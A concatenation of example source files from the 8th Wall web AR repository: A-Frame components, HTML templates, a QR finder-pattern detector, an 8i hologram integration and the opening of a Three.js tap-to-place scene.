toUrl(data.posz), toUrl(data.negz),
])
this.texture.format = THREE[data.format]
this.object3dsetHandler = () => {
const mesh = this.el.getObject3D('mesh')
const {data} = this
applyEnvMap(mesh, data.materials, this.texture, data.reflectivity)
}
this.el.addEventListener('object3dset', this.object3dsetHandler)
},
update(oldData) {
const {data} = this
const mesh = this.el.getObject3D('mesh')
let addedMaterialNames = []
let removedMaterialNames = []
if (data.materials.length) {
if (oldData.materials) {
addedMaterialNames = data.materials.filter(name => !oldData.materials.includes(name))
removedMaterialNames = oldData.materials.filter(name => !data.materials.includes(name))
} else {
addedMaterialNames = data.materials
}
}
if (addedMaterialNames.length) {
applyEnvMap(mesh, addedMaterialNames, this.texture, data.reflectivity)
}
if (removedMaterialNames.length) {
applyEnvMap(mesh, removedMaterialNames, null, 1)
}
if (oldData.materials && data.reflectivity !== oldData.reflectivity) {
const maintainedMaterialNames =
data.materials.filter(name => oldData.materials.includes(name))
if (maintainedMaterialNames.length) {
applyEnvMap(mesh, maintainedMaterialNames, this.texture, data.reflectivity)
}
}
if (this.data.enableBackground && !oldData.enableBackground) {
this.setBackground(this.texture)
} else if (!this.data.enableBackground && oldData.enableBackground) {
this.setBackground(null)
}
},
remove() {
this.el.removeEventListener('object3dset', this.object3dsetHandler)
applyEnvMap(this.el.getObject3D('mesh'), this.data.materials, null, 1)
if (this.data.enableBackground) {
this.setBackground(null)
}
},
setBackground(texture) {
this.el.sceneEl.object3D.background = texture
},
})
| 8thwall/web/examples/aframe/portal/cubemap-static.js/0 | {
"file_path": "8thwall/web/examples/aframe/portal/cubemap-static.js",
"repo_id": "8thwall",
"token_count": 1530
} | 1 |
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8" />
<link rel="icon" href="%PUBLIC_URL%/favicon.ico" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<meta name="theme-color" content="#000000" />
<meta
name="description"
content="8th Wall React App"
/>
<link rel="apple-touch-icon" href="%PUBLIC_URL%/logo192.png" />
<!--
manifest.json provides metadata used when your web app is installed on a
user's mobile device or desktop. See https://developers.google.com/web/fundamentals/web-app-manifest/
-->
<link rel="manifest" href="%PUBLIC_URL%/manifest.json" />
<!--
Notice the use of %PUBLIC_URL% in the tags above.
It will be replaced with the URL of the `public` folder during the build.
Only files inside the `public` folder can be referenced from the HTML.
Unlike "/favicon.ico" or "favicon.ico", "%PUBLIC_URL%/favicon.ico" will
work correctly both with client-side routing and a non-root public URL.
Learn how to configure a non-root public URL by running `npm run build`.
-->
<title>8th Wall React App</title>
<!-- We've included a slightly modified version of A-Frame, which fixes some polish concerns -->
<script src="//cdn.8thwall.com/web/aframe/8frame-1.3.0.min.js"></script>
<!-- XR Extras - provides utilities like load screen, almost there, and error handling.
See github.com/8thwall/web/tree/master/xrextras -->
<script src="//cdn.8thwall.com/web/xrextras/xrextras.js"></script>
<!-- 8thWall Web - Replace the app key here with your own app key -->
<script async src="//apps.8thwall.com/xrweb?appKey=XXXXXXXXX"></script>
<!-- Landing Pages - see https://www.8thwall.com/docs/web/#landing-pages -->
<script src='//cdn.8thwall.com/web/landing-page/landing-page.js'></script>
</head>
<body>
<noscript>You need to enable JavaScript to run this app.</noscript>
<div id="root"></div>
<!--
This HTML file is a template.
If you open it directly in the browser, you will see an empty page.
You can add webfonts, meta tags, or analytics to this file.
The build step will place the bundled scripts into the <body> tag.
To begin the development, run `npm start` or `yarn start`.
To create a production bundle, use `npm run build` or `yarn build`.
-->
</body>
</html>
| 8thwall/web/examples/aframe/reactapp/public/index.html/0 | {
"file_path": "8thwall/web/examples/aframe/reactapp/public/index.html",
"repo_id": "8thwall",
"token_count": 879
} | 2 |
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>8th Wall: Sky Effects</title>
<!-- We've included a slightly modified version of A-Frame, which fixes some polish concerns -->
<script src="//cdn.8thwall.com/web/aframe/8frame-1.4.1.min.js"></script>
<!-- XR Extras - provides utilities like load screen, almost there, and error handling.
See github.com/8thwall/web/tree/master/xrextras -->
<script src="//cdn.8thwall.com/web/xrextras/xrextras.js"></script>
<!-- Landing Pages - see https://www.8thwall.com/docs/web/#landing-pages -->
<script src='//cdn.8thwall.com/web/landing-page/landing-page.js'></script>
<!-- Coaching Overlay - see https://www.8thwall.com/docs/web/#sky-effects-coaching-overlay -->
<script src='https://cdn.8thwall.com/web/coaching-overlay/coaching-overlay.js'></script>
<!-- 8th Wall Web - Replace the app key here with your own app key -->
<script async src="//apps.8thwall.com/xrweb?appKey=XXXXXX"></script>
<script src="./sky-recenter.js"></script>
</head>
<body>
<a-scene
xrextras-loading
xrextras-runtime-error
landing-page
sky-coaching-overlay
sky-recenter
renderer="colorManagement: true"
xrlayers>
<a-assets>
<img id="skyTexture" src='./space.png'>
</a-assets>
<a-camera position="0 3 0"></a-camera>
<a-entity xrlayerscene="name: sky; edgeSmoothness: 0.6">
<a-sky material="src: #skyTexture; transparent: true; opacity: 1;"></a-sky>
<a-box
position="0 10 -10"
scale="5 5 5"
material="
color: #AD50FF; shader: flat;
src: https://cdn.8thwall.com/web/assets/cube-texture.png"
shadow>
</a-box>
<a-entity light="type: ambient; intensity: 1;"></a-entity>
</sky-scene>
</a-scene>
</body>
</html>
| 8thwall/web/examples/aframe/sky/index.html/0 | {
"file_path": "8thwall/web/examples/aframe/sky/index.html",
"repo_id": "8thwall",
"token_count": 914
} | 3 |
// Copyright (c) 2018 8th Wall, Inc.
const onxrloaded = () => {
XR8.addCameraPipelineModules([ // Add camera pipeline modules.
// Existing pipeline modules.
XR8.GlTextureRenderer.pipelineModule(), // Draws the camera feed.
XRExtras.AlmostThere.pipelineModule(), // Detects unsupported browsers and gives hints.
XRExtras.FullWindowCanvas.pipelineModule(), // Modifies the canvas to fill the window.
XRExtras.Loading.pipelineModule(), // Manages the loading screen on startup.
XRExtras.RuntimeError.pipelineModule(), // Shows an error image on runtime error.
])
// Request camera permissions and run the camera.
XR8.run({canvas: document.getElementById('camerafeed')})
}
// Show loading screen before the full XR library has been loaded.
const load = () => { XRExtras.Loading.showLoading({onxrloaded}) }
window.onload = () => { window.XRExtras ? load() : window.addEventListener('xrextrasloaded', load) }
| 8thwall/web/examples/camerapipeline/camerafeed/index.js/0 | {
"file_path": "8thwall/web/examples/camerapipeline/camerafeed/index.js",
"repo_id": "8thwall",
"token_count": 326
} | 4 |
/*
Ported to JavaScript by Lazar Laszlo 2011
lazarsoft@gmail.com, www.lazarsoft.info
*/
/*
*
* Copyright 2007 ZXing authors
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
var MIN_SKIP = 3;
var MAX_MODULES = 57;
var INTEGER_MATH_SHIFT = 8;
var CENTER_QUORUM = 2;
qrcode.orderBestPatterns=function(patterns)
{
function distance( pattern1, pattern2)
{
var xDiff = pattern1.X - pattern2.X;
var yDiff = pattern1.Y - pattern2.Y;
return Math.sqrt( (xDiff * xDiff + yDiff * yDiff));
}
/// <summary> Returns the z component of the cross product between vectors BC and BA.</summary>
function crossProductZ( pointA, pointB, pointC)
{
var bX = pointB.x;
var bY = pointB.y;
return ((pointC.x - bX) * (pointA.y - bY)) - ((pointC.y - bY) * (pointA.x - bX));
}
// Find distances between pattern centers
var zeroOneDistance = distance(patterns[0], patterns[1]);
var oneTwoDistance = distance(patterns[1], patterns[2]);
var zeroTwoDistance = distance(patterns[0], patterns[2]);
var pointA, pointB, pointC;
// Assume one closest to other two is B; A and C will just be guesses at first
if (oneTwoDistance >= zeroOneDistance && oneTwoDistance >= zeroTwoDistance)
{
pointB = patterns[0];
pointA = patterns[1];
pointC = patterns[2];
}
else if (zeroTwoDistance >= oneTwoDistance && zeroTwoDistance >= zeroOneDistance)
{
pointB = patterns[1];
pointA = patterns[0];
pointC = patterns[2];
}
else
{
pointB = patterns[2];
pointA = patterns[0];
pointC = patterns[1];
}
// Use cross product to figure out whether A and C are correct or flipped.
// This asks whether BC x BA has a positive z component, which is the arrangement
// we want for A, B, C. If it's negative, then we've got it flipped around and
// should swap A and C.
if (crossProductZ(pointA, pointB, pointC) < 0.0)
{
var temp = pointA;
pointA = pointC;
pointC = temp;
}
patterns[0] = pointA;
patterns[1] = pointB;
patterns[2] = pointC;
}
function FinderPattern(posX, posY, estimatedModuleSize)
{
this.x=posX;
this.y=posY;
this.count = 1;
this.estimatedModuleSize = estimatedModuleSize;
this.__defineGetter__("EstimatedModuleSize", function()
{
return this.estimatedModuleSize;
});
this.__defineGetter__("Count", function()
{
return this.count;
});
this.__defineGetter__("X", function()
{
return this.x;
});
this.__defineGetter__("Y", function()
{
return this.y;
});
this.incrementCount = function()
{
this.count++;
}
this.aboutEquals=function( moduleSize, i, j)
{
if (Math.abs(i - this.y) <= moduleSize && Math.abs(j - this.x) <= moduleSize)
{
var moduleSizeDiff = Math.abs(moduleSize - this.estimatedModuleSize);
return moduleSizeDiff <= 1.0 || moduleSizeDiff / this.estimatedModuleSize <= 1.0;
}
return false;
}
}
function FinderPatternInfo(patternCenters)
{
this.bottomLeft = patternCenters[0];
this.topLeft = patternCenters[1];
this.topRight = patternCenters[2];
this.__defineGetter__("BottomLeft", function()
{
return this.bottomLeft;
});
this.__defineGetter__("TopLeft", function()
{
return this.topLeft;
});
this.__defineGetter__("TopRight", function()
{
return this.topRight;
});
}
function FinderPatternFinder()
{
this.image=null;
this.possibleCenters = [];
this.hasSkipped = false;
this.crossCheckStateCount = new Array(0,0,0,0,0);
this.resultPointCallback = null;
this.__defineGetter__("CrossCheckStateCount", function()
{
this.crossCheckStateCount[0] = 0;
this.crossCheckStateCount[1] = 0;
this.crossCheckStateCount[2] = 0;
this.crossCheckStateCount[3] = 0;
this.crossCheckStateCount[4] = 0;
return this.crossCheckStateCount;
});
this.foundPatternCross=function( stateCount)
{
var totalModuleSize = 0;
for (var i = 0; i < 5; i++)
{
var count = stateCount[i];
if (count == 0)
{
return false;
}
totalModuleSize += count;
}
if (totalModuleSize < 7)
{
return false;
}
var moduleSize = Math.floor((totalModuleSize << INTEGER_MATH_SHIFT) / 7);
var maxVariance = Math.floor(moduleSize / 2);
// Allow less than 50% variance from 1-1-3-1-1 proportions
return Math.abs(moduleSize - (stateCount[0] << INTEGER_MATH_SHIFT)) < maxVariance && Math.abs(moduleSize - (stateCount[1] << INTEGER_MATH_SHIFT)) < maxVariance && Math.abs(3 * moduleSize - (stateCount[2] << INTEGER_MATH_SHIFT)) < 3 * maxVariance && Math.abs(moduleSize - (stateCount[3] << INTEGER_MATH_SHIFT)) < maxVariance && Math.abs(moduleSize - (stateCount[4] << INTEGER_MATH_SHIFT)) < maxVariance;
}
this.centerFromEnd=function( stateCount, end)
{
return (end - stateCount[4] - stateCount[3]) - stateCount[2] / 2.0;
}
this.crossCheckVertical=function( startI, centerJ, maxCount, originalStateCountTotal)
{
var image = this.image;
var maxI = qrcode.height;
var stateCount = this.CrossCheckStateCount;
// Start counting up from center
var i = startI;
while (i >= 0 && image[centerJ + i*qrcode.width])
{
stateCount[2]++;
i--;
}
if (i < 0)
{
return NaN;
}
while (i >= 0 && !image[centerJ +i*qrcode.width] && stateCount[1] <= maxCount)
{
stateCount[1]++;
i--;
}
// If already too many modules in this state or ran off the edge:
if (i < 0 || stateCount[1] > maxCount)
{
return NaN;
}
while (i >= 0 && image[centerJ + i*qrcode.width] && stateCount[0] <= maxCount)
{
stateCount[0]++;
i--;
}
if (stateCount[0] > maxCount)
{
return NaN;
}
// Now also count down from center
i = startI + 1;
while (i < maxI && image[centerJ +i*qrcode.width])
{
stateCount[2]++;
i++;
}
if (i == maxI)
{
return NaN;
}
while (i < maxI && !image[centerJ + i*qrcode.width] && stateCount[3] < maxCount)
{
stateCount[3]++;
i++;
}
if (i == maxI || stateCount[3] >= maxCount)
{
return NaN;
}
while (i < maxI && image[centerJ + i*qrcode.width] && stateCount[4] < maxCount)
{
stateCount[4]++;
i++;
}
if (stateCount[4] >= maxCount)
{
return NaN;
}
// If we found a finder-pattern-like section, but its size is more than 40% different than
// the original, assume it's a false positive
var stateCountTotal = stateCount[0] + stateCount[1] + stateCount[2] + stateCount[3] + stateCount[4];
if (5 * Math.abs(stateCountTotal - originalStateCountTotal) >= 2 * originalStateCountTotal)
{
return NaN;
}
return this.foundPatternCross(stateCount)?this.centerFromEnd(stateCount, i):NaN;
}
this.crossCheckHorizontal=function( startJ, centerI, maxCount, originalStateCountTotal)
{
var image = this.image;
var maxJ = qrcode.width;
var stateCount = this.CrossCheckStateCount;
var j = startJ;
while (j >= 0 && image[j+ centerI*qrcode.width])
{
stateCount[2]++;
j--;
}
if (j < 0)
{
return NaN;
}
while (j >= 0 && !image[j+ centerI*qrcode.width] && stateCount[1] <= maxCount)
{
stateCount[1]++;
j--;
}
if (j < 0 || stateCount[1] > maxCount)
{
return NaN;
}
while (j >= 0 && image[j+ centerI*qrcode.width] && stateCount[0] <= maxCount)
{
stateCount[0]++;
j--;
}
if (stateCount[0] > maxCount)
{
return NaN;
}
j = startJ + 1;
while (j < maxJ && image[j+ centerI*qrcode.width])
{
stateCount[2]++;
j++;
}
if (j == maxJ)
{
return NaN;
}
while (j < maxJ && !image[j+ centerI*qrcode.width] && stateCount[3] < maxCount)
{
stateCount[3]++;
j++;
}
if (j == maxJ || stateCount[3] >= maxCount)
{
return NaN;
}
while (j < maxJ && image[j+ centerI*qrcode.width] && stateCount[4] < maxCount)
{
stateCount[4]++;
j++;
}
if (stateCount[4] >= maxCount)
{
return NaN;
}
// If we found a finder-pattern-like section, but its size is significantly different than
// the original, assume it's a false positive
var stateCountTotal = stateCount[0] + stateCount[1] + stateCount[2] + stateCount[3] + stateCount[4];
if (5 * Math.abs(stateCountTotal - originalStateCountTotal) >= originalStateCountTotal)
{
return NaN;
}
return this.foundPatternCross(stateCount)?this.centerFromEnd(stateCount, j):NaN;
}
this.handlePossibleCenter=function( stateCount, i, j)
{
var stateCountTotal = stateCount[0] + stateCount[1] + stateCount[2] + stateCount[3] + stateCount[4];
var centerJ = this.centerFromEnd(stateCount, j); //float
var centerI = this.crossCheckVertical(i, Math.floor( centerJ), stateCount[2], stateCountTotal); //float
if (!isNaN(centerI))
{
// Re-cross check
centerJ = this.crossCheckHorizontal(Math.floor( centerJ), Math.floor( centerI), stateCount[2], stateCountTotal);
if (!isNaN(centerJ))
{
var estimatedModuleSize = stateCountTotal / 7.0;
var found = false;
var max = this.possibleCenters.length;
for (var index = 0; index < max; index++)
{
var center = this.possibleCenters[index];
// Look for about the same center and module size:
if (center.aboutEquals(estimatedModuleSize, centerI, centerJ))
{
center.incrementCount();
found = true;
break;
}
}
if (!found)
{
var point = new FinderPattern(centerJ, centerI, estimatedModuleSize);
this.possibleCenters.push(point);
if (this.resultPointCallback != null)
{
this.resultPointCallback.foundPossibleResultPoint(point);
}
}
return true;
}
}
return false;
}
this.selectBestPatterns=function()
{
var startSize = this.possibleCenters.length;
if (startSize < 3)
{
// Couldn't find enough finder patterns
throw "Couldn't find enough finder patterns (found " + startSize + ")"
}
// Filter outlier possibilities whose module size is too different
if (startSize > 3)
{
// But we can only afford to do so if we have at least 4 possibilities to choose from
var totalModuleSize = 0.0;
var square = 0.0;
for (var i = 0; i < startSize; i++)
{
//totalModuleSize += this.possibleCenters[i].EstimatedModuleSize;
var centerValue=this.possibleCenters[i].EstimatedModuleSize;
totalModuleSize += centerValue;
square += (centerValue * centerValue);
}
var average = totalModuleSize / startSize;
this.possibleCenters.sort(function(center1,center2) {
var dA=Math.abs(center2.EstimatedModuleSize - average);
var dB=Math.abs(center1.EstimatedModuleSize - average);
if (dA < dB) {
return (-1);
} else if (dA == dB) {
return 0;
} else {
return 1;
}
});
var stdDev = Math.sqrt(square / startSize - average * average);
var limit = Math.max(0.2 * average, stdDev);
//for (var i = 0; i < this.possibleCenters.length && this.possibleCenters.length > 3; i++)
for (var i = this.possibleCenters.length - 1; i >= 0 ; i--)
{
var pattern = this.possibleCenters[i];
//if (Math.abs(pattern.EstimatedModuleSize - average) > 0.2 * average)
if (Math.abs(pattern.EstimatedModuleSize - average) > limit)
{
//this.possibleCenters.remove(i);
this.possibleCenters.splice(i,1);
//i--;
}
}
}
if (this.possibleCenters.length > 3)
{
// Throw away all but those first size candidate points we found.
this.possibleCenters.sort(function(a, b){
if (a.count > b.count){return -1;}
if (a.count < b.count){return 1;}
return 0;
});
}
return new Array( this.possibleCenters[0], this.possibleCenters[1], this.possibleCenters[2]);
}
this.findRowSkip=function()
{
var max = this.possibleCenters.length;
if (max <= 1)
{
return 0;
}
var firstConfirmedCenter = null;
for (var i = 0; i < max; i++)
{
var center = this.possibleCenters[i];
if (center.Count >= CENTER_QUORUM)
{
if (firstConfirmedCenter == null)
{
firstConfirmedCenter = center;
}
else
{
// We have two confirmed centers
// How far down can we skip before resuming looking for the next
// pattern? In the worst case, only the difference between the
// difference in the x / y coordinates of the two centers.
// This is the case where you find top left last.
this.hasSkipped = true;
return Math.floor ((Math.abs(firstConfirmedCenter.X - center.X) - Math.abs(firstConfirmedCenter.Y - center.Y)) / 2);
}
}
}
return 0;
}
this.haveMultiplyConfirmedCenters=function()
{
var confirmedCount = 0;
var totalModuleSize = 0.0;
var max = this.possibleCenters.length;
for (var i = 0; i < max; i++)
{
var pattern = this.possibleCenters[i];
if (pattern.Count >= CENTER_QUORUM)
{
confirmedCount++;
totalModuleSize += pattern.EstimatedModuleSize;
}
}
if (confirmedCount < 3)
{
return false;
}
// OK, we have at least 3 confirmed centers, but, it's possible that one is a "false positive"
// and that we need to keep looking. We detect this by asking if the estimated module sizes
// vary too much. We arbitrarily say that when the total deviation from average exceeds
// 5% of the total module size estimates, it's too much.
var average = totalModuleSize / max;
var totalDeviation = 0.0;
for (var i = 0; i < max; i++)
{
pattern = this.possibleCenters[i];
totalDeviation += Math.abs(pattern.EstimatedModuleSize - average);
}
return totalDeviation <= 0.05 * totalModuleSize;
}
this.findFinderPattern = function(image){
var tryHarder = false;
this.image=image;
var maxI = qrcode.height;
var maxJ = qrcode.width;
var iSkip = Math.floor((3 * maxI) / (4 * MAX_MODULES));
if (iSkip < MIN_SKIP || tryHarder)
{
iSkip = MIN_SKIP;
}
var done = false;
var stateCount = new Array(5);
for (var i = iSkip - 1; i < maxI && !done; i += iSkip)
{
// Get a row of black/white values
stateCount[0] = 0;
stateCount[1] = 0;
stateCount[2] = 0;
stateCount[3] = 0;
stateCount[4] = 0;
var currentState = 0;
for (var j = 0; j < maxJ; j++)
{
if (image[j+i*qrcode.width] )
{
// Black pixel
if ((currentState & 1) == 1)
{
// Counting white pixels
currentState++;
}
stateCount[currentState]++;
}
else
{
// White pixel
if ((currentState & 1) == 0)
{
// Counting black pixels
if (currentState == 4)
{
// A winner?
if (this.foundPatternCross(stateCount))
{
// Yes
var confirmed = this.handlePossibleCenter(stateCount, i, j);
if (confirmed)
{
// Start examining every other line. Checking each line turned out to be too
// expensive and didn't improve performance.
iSkip = 2;
if (this.hasSkipped)
{
done = this.haveMultiplyConfirmedCenters();
}
else
{
var rowSkip = this.findRowSkip();
if (rowSkip > stateCount[2])
{
// Skip rows between row of lower confirmed center
// and top of presumed third confirmed center
// but back up a bit to get a full chance of detecting
// it, entire width of center of finder pattern
// Skip by rowSkip, but back off by stateCount[2] (size of last center
// of pattern we saw) to be conservative, and also back off by iSkip which
// is about to be re-added
i += rowSkip - stateCount[2] - iSkip;
j = maxJ - 1;
}
}
}
else
{
// Advance to next black pixel
do
{
j++;
}
while (j < maxJ && !image[j + i*qrcode.width]);
j--; // back up to that last white pixel
}
// Clear state to start looking again
currentState = 0;
stateCount[0] = 0;
stateCount[1] = 0;
stateCount[2] = 0;
stateCount[3] = 0;
stateCount[4] = 0;
}
else
{
// No, shift counts back by two
stateCount[0] = stateCount[2];
stateCount[1] = stateCount[3];
stateCount[2] = stateCount[4];
stateCount[3] = 1;
stateCount[4] = 0;
currentState = 3;
}
}
else
{
stateCount[++currentState]++;
}
}
else
{
// Counting white pixels
stateCount[currentState]++;
}
}
}
if (this.foundPatternCross(stateCount))
{
var confirmed = this.handlePossibleCenter(stateCount, i, maxJ);
if (confirmed)
{
iSkip = stateCount[0];
if (this.hasSkipped)
{
// Found a third one
done = this.haveMultiplyConfirmedCenters();
}
}
}
}
var patternInfo = this.selectBestPatterns();
qrcode.orderBestPatterns(patternInfo);
return new FinderPatternInfo(patternInfo);
};
} | 8thwall/web/examples/camerapipeline/qrcode/jsqrcode/src/findpat.js/0 | {
"file_path": "8thwall/web/examples/camerapipeline/qrcode/jsqrcode/src/findpat.js",
"repo_id": "8thwall",
"token_count": 7832
} | 5 |
// Made with teamwork between 8i and 8thWall, 2019
const applicationName = "8thWall-8i"
const version = "0.1"
/*
* URL's to other holograms (update the "assetFile" variable below)
*
* Alpaca:
* https://cdn.8thwall.com/web/assets/8i/Web600_ANIMALS2-S16-T02-SOf1187029.hvrs
*
* Fire Breather:
* https://d24wgmntpybhqp.cloudfront.net/artists/Burdetta%20Jackson/hvrs/FloodGates_S21A_T08_Web600_20190219_180912.hvrs
*
* Yoga:
* https://d24wgmntpybhqp.cloudfront.net/artists/Marie%20Grujicic/hvrs/OdysseyInce_S15D_T02_Web600.hvrs
*
* Person (default):
* https://cdn.8thwall.com/web/assets/8i/Odyssey_S46B_T01_Web600_20181107_111442.hvrs
*/
// Hologram to display:
const assetFile = "https://cdn.8thwall.com/web/assets/8i/Odyssey_S46B_T01_Web600_20181107_111442.hvrs"
const floorImage = "./img/floor_logo_cropped.png"
let theScene = null
let theRenderer = null
let theCamera = null
let thePlayer = null
let theActor = null
let theAsset = null
let theViewport = null
const clock = new THREE.Clock()
//8i logic for setting up rendering the asset within the viewport
const onEightiInitialise = () => {
thePlayer = new EightI.Player(theRenderer.context)
theViewport = new EightI.Viewport()
theActor = new EightI.Actor()
let renderMethod = new EightI.RenderMethod("PointSprite")
theAsset = new EightI.Asset(assetFile)
theAsset.create()
theAsset.setLooping(true)
theActor.setAsset(theAsset)
theActor.setRenderMethod(renderMethod)
let transform = new THREE.Matrix4()
let scale = 0.02
transform.makeScale(scale, scale, scale)
theActor.setTransform(transform)
}
// 8i is dependent on Web Assembly to be fast!
const wasmSupported = (() => {
try {
if (typeof WebAssembly === "object" && typeof WebAssembly.instantiate === "function") {
const module = new WebAssembly.Module(Uint8Array.of(0x0, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00))
if (module instanceof WebAssembly.Module)
return new WebAssembly.Instance(module) instanceof WebAssembly.Instance
}
} catch (e) {
console.log("error: ", e)
}
return false;
})();
// Returns a pipeline module that initializes the threejs scene when the camera feed starts, and
// handles loading of an 8i hologram
const EightIPipelineModule = () => {
// Populates some object into an XR scene and sets the initial camera position. The scene and
// camera come from xr3js, and are only available in the camera loop lifecycle onStart() or later.
const initXrScene = ({scene, camera}) => {
//Special 8i Stuff
ENVSummary = JSON.stringify(EightI.Env)
if (wasmSupported) {
EightI.Env.registerFileURL("libeighti.wasm", "https://player.8i.com/interface/1.4/libeighti.wasm")
EightI.Env.registerFileURL("libeighti.wast", "https://player.8i.com/interface/1.4/libeighti.wast")
EightI.Env.registerFileURL("libeighti.temp.asm.js", "https://player.8i.com/interface/1.4/libeighti.temp.asm.js")
let script = document.createElement('script')
script.src = "https://player.8i.com/interface/1.4/libeighti.js"
document.body.append(script)
console.log('Web Assembly is available')
} else {
console.log('Browser does not support Web Assembly!')
}
// Add a floor to the scene
const textureLoader = new THREE.TextureLoader()
textureLoader.load(floorImage, function(texture) {
texture.minFilter = THREE.NearestFilter
texture.magFilter = THREE.NearestFilter
const material = new THREE.MeshBasicMaterial({
map: texture,
transparent: true
})
const plane = new THREE.PlaneBufferGeometry(1, 1)
const floor = new THREE.Mesh(plane, material)
floor.rotation.x = Math.PI * 1.5
floor.scale.set(10, 10, 10)
scene.add(floor)
})
// Set the initial camera position relative to the scene we just laid out.
// This must be at a height greater than y=0
camera.position.set(0, 3, 5)
}
const touchHandler = (e) => {
// Call XrController.recenter() when the canvas is tapped with two fingers. This resets the
// AR camera to the position specified by XrController.updateCameraProjectionMatrix() above.
if (e.touches.length == 2) {
XR8.XrController.recenter()
}
}
return {
// Pipeline modules need a name. It can be whatever you want but must be unique within your app.
name: '8thWall-8i',
// onStart is called once when the camera feed begins. In this case, we need to wait for the
// XR8.Threejs scene to be ready before we can access it to add content. It was created in
// XR8.Threejs.pipelineModule()'s onStart method.
onStart: ({canvas, canvasWidth, canvasHeight}) => {
// Get the 3js scene from xr3js.
const {scene, camera, renderer} = XR8.Threejs.xrScene()
theScene = scene
theRenderer = renderer
theRenderer.context.getExtension('WEBGL_debug_renderer_info')
theCamera = camera
initXrScene({ scene, camera }) // Add objects to the scene and set starting camera position.
canvas.addEventListener('touchstart', touchHandler, true) // Add touch listener.
try {
EightI.Env.initialise(applicationName, version, onEightiInitialise);
}
catch(err) {
console.log(err)
}
// Sync the xr controller's 6DoF position and camera paremeters with our scene.
XR8.XrController.updateCameraProjectionMatrix({
origin: camera.position,
facing: camera.quaternion,
})
},
// onUpdate is called once per camera loop prior to render.
onUpdate: () => {
//8i Logic
theCamera.updateMatrixWorld();
theCamera.matrixWorldInverse.getInverse(theCamera.matrixWorld);
theRenderer.clear(true,true,true)
},
onRender: () => {
// If everything is loaded correctly, begin 8i render loop
if (thePlayer && theActor && theActor.asset){
EightI.Env.update()
// Update asset.
const assetState = theAsset.getState();
//Play 8i asset when ready
if(!assetState.isInitialising() && !assetState.isPlaying()) {
theAsset.play()
}
theAsset.update(clock.getElapsedTime());
// Update viewport: 8i renders in a viewport layer on top of the scene, not in the actual scene.
// It it important that the viewport is the same size as the scene canvas
theViewport.setDimensions(0, 0,
window.innerWidth * window.devicePixelRatio,
window.innerHeight * window.devicePixelRatio)
theViewport.setViewMatrix(theCamera.matrixWorldInverse)
theViewport.setProjMatrix(theCamera.projectionMatrix)
// Render EightI content
thePlayer.willRender(theActor, theViewport)
thePlayer.prepareRender()
thePlayer.render(theActor, theViewport)
theRenderer.state.reset()
theRenderer.render(theScene, theCamera)
}
},
}
}
const onxrloaded = () => {
XR8.addCameraPipelineModules([ // Add camera pipeline modules.
// Existing pipeline modules.
XR8.GlTextureRenderer.pipelineModule(), // Draws the camera feed.
XR8.Threejs.pipelineModule(), // Creates a ThreeJS AR Scene.
XR8.XrController.pipelineModule(), // Enables SLAM tracking.
XRExtras.AlmostThere.pipelineModule(), // Detects unsupported browsers and gives hints.
XRExtras.FullWindowCanvas.pipelineModule(), // Modifies the canvas to fill the window.
XRExtras.Loading.pipelineModule(), // Manages the loading screen on startup.
XRExtras.RuntimeError.pipelineModule(), // Shows an error image on runtime error.
// Custom pipeline modules.
EightIPipelineModule(),
])
// Open the camera and start running the camera run loop.
XR8.run({canvas: document.getElementById('camerafeed')})
}
// Show loading screen before the full XR library has been loaded.
const load = () => { XRExtras.Loading.showLoading({onxrloaded}) }
window.onload = () => { window.XRExtras ? load() : window.addEventListener('xrextrasloaded', load) }
| 8thwall/web/examples/threejs/8i-hologram/index.js/0 | {
"file_path": "8thwall/web/examples/threejs/8i-hologram/index.js",
"repo_id": "8thwall",
"token_count": 3012
} | 6 |
// Copyright (c) 2021 8th Wall, Inc.
// Returns a pipeline module that initializes the threejs scene when the camera feed starts, and
// handles subsequent spawning of a glb model whenever the scene is tapped.
/* globals XR8 XRExtras THREE TWEEN */
const placegroundScenePipelineModule = () => {
const modelFile = 'tree.glb' // 3D model to spawn at tap
const startScale = new THREE.Vector3(0.01, 0.01, 0.01) // Initial scale value for our model
const endScale = new THREE.Vector3(2, 2, 2) // Ending scale value for our model
const animationMillis = 750 // Animate over 0.75 seconds
const raycaster = new THREE.Raycaster()
const tapPosition = new THREE.Vector2()
const loader = new THREE.GLTFLoader() // This comes from GLTFLoader.js.
let surface // Transparent surface for raycasting for object placement.
// Populates some object into an XR scene and sets the initial camera position. The scene and
// camera come from xr3js, and are only available in the camera loop lifecycle onStart() or later.
const initXrScene = ({scene, camera, renderer}) => {
renderer.shadowMap.enabled = true
renderer.shadowMap.type = THREE.PCFSoftShadowMap
const light = new THREE.DirectionalLight(0xffffff, 1, 100)
light.position.set(1, 4.3, 2.5) // default
scene.add(light) // Add soft white light to the scene.
scene.add(new THREE.AmbientLight(0x404040, 5)) // Add soft white light to the scene.
light.shadow.mapSize.width = 1024 // default
light.shadow.mapSize.height = 1024 // default
light.shadow.camera.near = 0.5 // default
light.shadow.camera.far = 500 // default
light.castShadow = true
surface = new THREE.Mesh(
new THREE.PlaneGeometry(100, 100, 1, 1),
new THREE.ShadowMaterial({
opacity: 0.5,
})
)
surface.rotateX(-Math.PI / 2)
surface.position.set(0, 0, 0)
surface.receiveShadow = true
scene.add(surface)
// Set the initial camera position relative to the scene we just laid out. This must be at a
// height greater than y=0.
camera.position.set(0, 3, 0)
}
const animateIn = (model, pointX, pointZ, yDegrees) => {
const scale = {...startScale}
model.scene.rotation.set(0.0, yDegrees, 0.0)
model.scene.position.set(pointX, 0.0, pointZ)
model.scene.scale.set(scale.x, scale.y, scale.z)
model.scene.children[0].children[0].children[0].castShadow = true
XR8.Threejs.xrScene().scene.add(model.scene)
new TWEEN.Tween(scale)
.to(endScale, animationMillis)
.easing(TWEEN.Easing.Elastic.Out) // Use an easing function to make the animation smooth.
.onUpdate(() => {
model.scene.scale.set(scale.x, scale.y, scale.z)
})
.start() // Start the tween immediately.
}
// Load the glb model at the requested point on the surface.
